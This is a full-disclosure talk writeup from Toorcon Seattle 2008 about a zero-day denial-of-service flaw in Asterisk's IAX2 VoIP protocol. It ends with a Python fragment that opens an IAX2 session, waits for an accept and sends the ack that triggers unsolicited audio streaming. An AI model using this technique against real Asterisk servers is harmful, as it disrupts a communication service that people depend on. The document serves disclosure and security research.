Who: Javantea aka. Joel R. Voss
What: Zero-day DoS on Asterisk IAX2, Full disclosure.
Where: Toorcon Seattle 2008
When: Now! (and over a year ago)
Why: Because VoIP is a critical service needed by *hundreds* of people.
How: Asterisk's IAX2 protocol was written incorrectly to send high bandwidth
(8-64 kbps) voice data without requiring a reply with session data.
If you don't like Denial of Service attacks, don't worry there's plenty more. IAX2 probably has some buffer overflows. It has before. The OSVDB page has 47. Also, the unlikely event of a Lawnmowerman Effect1 continues to grow and shrink as new vulernabilities are found.
1 The Lawnmowerman Effect refers to the end of the movie where Jobe calls every phone on Earth simultaneously.
I'm running my handy dandy script that sends 2 udp packets over and over again. Each pair of packets exploits the bug in the latest 1.4.19 Asterisk server which starts a new call. In the old versions, Asterisk would send the audio after just the first packet. In the latest version, it expects a handshake. The handshake is an ack which only requires a valid timestamp. This DoS is not going away until they change the protocol horrifically. It is a flaw in the protocol.
[Traffic Analyzer]
[The Script]
[Asterisk]
The Framework is designed to exploit any vulnerability. Video, Text, Voice, Authentication, Encryption. Fuzzing is really easy with my handy dandy script framework. I wrote a fuzzer in two hours. The good guys can use my framework even better than me. Please do!
If Asterisk IAX2 is to become a standard, it'll need an RFC, a testing implementation, and a _LOT_ more testing by hackers. Props to |)ruid who wrote DisAsterisk, a fuzzer for RTP using Asterisk last year at Toorcon Seattle Beta.
session = altsci_iax2.IAX_session(host, port, verbose) # Capability == GSM, ... data = altsci_iax2.IAX_create_ie(altsci_iax2.IAX_IE_TYPE['IAX_IE_CAPABILITY'], altsci_iax2.pack_long(0x000002aa)) # Reqd Version, Called number, codec prefs, Calling Presentation, # Calling TON, Calling TNS, Format? session.send(data) resp = session.recv() doit = 0 if resp[0] == altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'] and resp[1] == altsci_iax2.IAXCTL_SUBCLASS['IC_ACCEPT']: print "Accepted, let's ack" data = '' session.send(data, frame_type = altsci_iax2.IAX_FRAMETYPE['FT_IAXCTL'], subclass = altsci_iax2.IAXCTL_SUBCLASS['IC_ACK']) doit = 1 #end if